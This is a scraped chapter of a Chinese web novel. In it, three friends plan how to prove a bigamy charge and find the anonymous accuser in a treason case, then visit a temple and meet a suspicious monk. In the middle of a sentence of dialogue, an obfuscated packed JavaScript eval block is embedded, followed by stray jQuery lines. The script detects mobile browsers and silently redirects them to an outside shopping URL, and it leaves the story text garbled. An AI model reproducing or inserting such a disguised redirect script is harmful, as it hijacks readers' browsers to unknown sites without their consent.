默认冷灰
24号文字
方正启体

51. 庄生案(五)

作者:水蘅一本书字数:K更新时间:
    三人齐聚一堂,张楚林拿着桌子上的杯盏开始布局,“这件事情,查清楚了,其实很简单,这位庄姓人呢,他原本和你姐姐成婚在先,后来,他到了陵州,见到了现在的娄姓女子,倾心于她,但是,娄姓女子是部曲之女,是不可能与人为妾了。”


    魏熤补充道,“律法有令,诸以妻为妾,以婢为妻者,徒二年。以妾及客女为妻,以婢为妾者,徒一年半,各还正之。以部曲之女为妾者,徒一年半,且判婚约无效。”


    “所以,他就娶她了?”明嘉很快就反应过来。


    “没错,他就在第二个地方完成了另一段婚约。”


    明嘉当心自己会说错,看向魏熤,“这种一夫多妻的罪名大不大?”


    “‘诸有妻更娶者,徒一年,女家减一等,若欺妄而娶者,徒一年半,女家不坐,各离之。’第二任女家如果知情的话,男子徒刑一年,女子半年,若是女子不知情,独男子徒一年半,判和离。”


    “那当下只要我们找到婚书,我们就可以立诉状了。”


    “如果没有婚书,直接上堂对证不好吗?”张楚林为人直爽,做起事情来也是。


    “可是,我也当心他们会反咬一口,咬定没有婚书,没有证据,这样就判不清了。”


    “婚书还是要找到的,物证最好是确定是有的,或者是找到立婚书的人。”魏熤在一旁说道。


    “那我们接下来就兵分两路,由楚林帮忙找寻立婚书的人,由我去打探这位娄姓女子是否知情,或者愿意指证。”


    “好,对了,钟淮,你的案子可有头绪了。”张楚林放好茶壶,问道。


    魏熤摇头,“我如今想着只能让傅家上下都来签字,来辨别一下有无是他们写诉状的可能性。”


    明嘉一脸不知情地看着他们,他们在说什么?


    张楚林看着她两只好奇的琉璃眼,就与她说了。


    魏熤刚上任,便接到一宗递到大理寺的秘密案子,诉状上写着,陵州城傅姓富贵人家家中钱财万贯、豢养私兵、囤积官刀、勾结官吏,是梁王的麾下,意图谋反。梁王是五年前欲围宫夺取江山、号召天下者,其谋算被先皇和当今圣人所破局,而不得善终。


    魏熤秘密来到陵州城,刚一进城门,刚入夜,给对方来个措手不及,按旨将傅家的主宅、府外资地,翻了个底朝天,一无所获,如诉状上所写的线索却是半分都不见。


    现下便是什么也没查出来的时候。


    “楚林,陵州是你的故乡,傅家的事你应该也是听得不少,可有意图谋反之意。”


    “据我所知,傅府向来与人为善,像遇上大灾大难,他们也是会慷慨解囊、施救百姓的,没听闻有反叛之举。”


    “是,我暗地里问过许多陵州百姓,众口归一,均是称赞。”魏熤看向明嘉。


    “那如果傅家人没问题,那就是写诉状之人有问题。诉状上是否有写明诉状人的姓名。”


    魏熤耐心地一一回答她,“诉状上并无留下姓名。”


    “不写姓名,也就是意味着他敢做不敢当,一定有问题。”张楚林在一旁说道。


    “也不一定,也许他想的是——是怕哪一日东窗事发,威胁到自己。”明嘉解释道。


    “眼下,也只能先找到诉状人,才知真假。”


    “所以,这就是你意图让傅家上下的人都来写字的目的?”


    “我已问过傅老爷,他们这一个月的例银尚未发放,今明几日便会发放下去,此时便要每个人来签字。”


    “通过辨别字迹来判断诉状人,可,有些家丁并不识字。”明嘉在一旁提醒,当心有漏网之鱼。


    “我让傅老爷安排一人帮忙附样,不识字的家丁照之誊写一遍就好。”


    “若是这些人里面还是没有要找的人了?”


    “族人亲戚是最不可能去写诉状自爆或是陷害自家人的,还是反叛的这样大的罪名,一个家族一荣俱荣,一损俱损,若是真的坐实了,灭九族也是有的,但我们也不能疏忽,这一次也将他们算在内,其次是家丁,家丁是最容易知晓府邸之事之人、也是最容易生怨记仇之人,若是他们都不是,那就只能拜托傅老爷好好想想,还有什么未解之仇了。”


    “眼下啊,只能走一步看一步了,明妹妹,你姐姐的案子也是一样的。”张楚林将杯盏归回原位,郑重地说道。


    张楚林看着窗前煦日明媚,微风徐徐,他提议道,“今日,不如我们一起去法宝寺如何,法宝寺就在东鹭山下,这个时节的东鹭山可谓是绿树成荫,溪水汩汩,天高气爽,沁人心脾,我们可登高而望远,也看看这陵州城的全观。下了山,就去我家用膳,我传信去让娘子备上好酒好菜,如何?”


    魏熤看向明嘉,“你觉得如何?”


    明嘉觉着此提议十分不错,她站起身来,眼底满是期待,“我想,骑马去。”


    “好,我们就骑马去。”魏熤一口答应。


    此番,张楚林骑在最前头,意气风发,时不时地回过头看着后面那两位,“啊喂!我说你们能不能快一点,快来追上我啊,谁最后抵达,晚上可是要多喝一碗酒的。”


    魏熤和明嘉的速度也并不慢,只是不去争,放慢一点点,任由得张楚林好胜的性子,让他开开心心地得个第一。


    “那你要小心,我们快追上来了。”明嘉在风里笑着,她的裙裳在风里流动,在光影下溢彩。


    魏熤看着她,恍如那一日的京郊再逢,她也骑着马,往庄子里去,戴着白色帷帽的她在风里欢声笑语,风拂开罗纱,是她如扶光明媚的笑颜。


    魏熤紧跟着她,默默地在她身后,护卫着她。


    最先抵达法宝寺的,果然是张楚林,张楚林先下了马,拍了拍手,不一会儿,明嘉他们就到了。


    “钟淮,没想到最后到的人是你啊,钟淮,晚上你的那碗酒不能少啊。”


    “楚林,愿赌服输。”


    寺庙里有许多香炉,香火生起,烟雾弥漫,香客们来来往往,相谈甚欢。


    三人齐上台阶,进佛殿,敬香、礼佛。


    出了佛殿,张楚林引着明嘉和魏熤走着小道。


    张楚林想起他们三人的信念,在这荫蔽的小道上,无所顾忌地说道,“其实,我们三人都不信佛,却来拜佛,想想还是有些好笑的。”


    “确是不信佛,楚林信药草、信医术,依靠所学保人康健,护人性命,抵过人们心底千求万念的心愿。”


    “钟淮呢。”


    “魏公子信事实真相、信律例法条,依靠才能破案,还人清白,守社稷清明,也胜过人们在无可奈何之时苦求佛菩的怜悯。我想,自身的强大优秀远远胜过对人间的抱怨、或者期待命运的扭转要愈加可靠。”


    “那你呢,你信什么。”魏熤问道。


    “我信任自己,信任家人,也信任朋友,这些真真实实存在着的,能够在我需要的时候都会拼尽全力地支持我。这些都汇聚成我能够在低谷中往生的力量,也是我能够去改变我和他人困状的勇气。”


    魏熤又补充道,“正如你从信任他人能获得力量和勇气,兴许,他们,这些香客也从古往今来的前人在潜移默化地感染下,也从佛菩中获得了往前的力量,他们相信佛祖可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359787|199741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以护佑他们,所以他们更加有勇气去做他们要做的事情。”


    “是啊,人们信任他们所能信任的,依靠他们所能依靠的,才能去奔赴温饱的生活,追逐他们的远大抱负。”


    “说实话,”张楚林说道,“佛菩也不止是保佑一方大地之外,还传授大家善心善念、心无一物,戒骄戒躁、大公无私的道理。”


    “是啊,佛菩是一种正义的存在,我们只是并不将他们视作首位,因为我们的信仰早就已经随着慢慢长大,因自身的经历已经建立起来了。”


    三人说着说着便走过了爬着青苔的石阶,绕过了石林,走到了一个僧舍处,奇怪的是,此地空余一座僧舍。


    僧房的窗子是开着的,兴许是为了通风,可见墙壁上挂着一幅经纶,风吹起,经纶折露,那灰色的墙面上用黑色笔墨赫然写着两行字。


    张楚林小声地读了出来,“隐从荒尘出,沉沦今世忧。”


    他捂着嘴,小心翼翼地说道,“我们刚刚还在说佛祖传授信念,要脱离红尘、绝情绝欲。看来,这僧院里还有小和尚没能脱离凡尘啊。”


    说着迎面就走来了一个身穿灰色、身形强壮的僧人,手上抓着一串红菩提做的念珠,见到他们,双手合十,“施主,此处是僧舍,恐扰人静修,不宜久留,施主还请尽快离去。”


    张楚林上前道,“原我是东道主,带我的兄弟和弟妹来东鹭山上一游,不曾想迷了路,叨扰了师父们的僧舍处,不知师父如何称呼,还需指一条往山上的明路来。”


    “贫僧法号''隐忧'',施主若是往山上走,可沿此条水流的方向走出去,穿过竹林,便可见一条山路,可登山顶。”


    “此番多谢。”


    弟?弟妹?明嘉真想缝了张楚林那张无所顾忌的嘴。


    魏熤听了倒是神色如常,不知是早就习惯了,还是甘之如饴。


    三人走出竹林,果然看到了一条宽广大道。


    “你们说,刚刚那僧人,是不是有些凡尘俗子的派头。”


    明嘉说道,“我是觉得,他和我见过的僧人不太一样,我有见过一个一生求道的僧人,那人的谈吐虽有些气傲,但他身上有一种独特的气场,是那种他谋求的是天下太平、百姓安康的平和,他一生渴求寻找到佛经的真谛所在。此刻,他也许也在某处云游。”


    魏熤问道,“你说的,可是清河寺的智生师父。”


    “是他,他虽能断人命运,却从未以此牟取暴利,向来也不以此为傲,而是一直在寻世间佛,行百善事。”


    “我没有见过你们所说的智生师父。但是这个人,他脸上所透露的红光,眼神里的不干净,还有说话时刻意地压制,让我觉得,这个人不简单。”


    “楚林说的和我所想是一致的。”


    明嘉悄然走到前头,与张楚林并行,她小声地说道,想要试图指正他,“楚林,你今日你为何要说我是你弟妹?”


    “这不是当心那个凡尘俗子吗?你看,被我占了弟弟名头便宜的钟淮不也没说什么吗?”


    魏熤也隔得不近,却也听得清清楚楚,“是你惹的祸,可不要扯到我身上来。”


    “某人心里说不定早就已经乐开怀了,还憋着呢。”张楚林怕被这小两口给瓜分了,赶紧跑到前面去了,“我先去探探路,你们要抓紧跟上来。”


    明嘉就这样被张楚林丢在了后头,魏熤两步并作一步,很快就走了上来,与明嘉并行。


    他看着明嘉,担心她心有不适,“就当楚林,是一番好意。毕竟,刚刚那个僧人确实不是寻常人。”


    “嗯。我知道的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)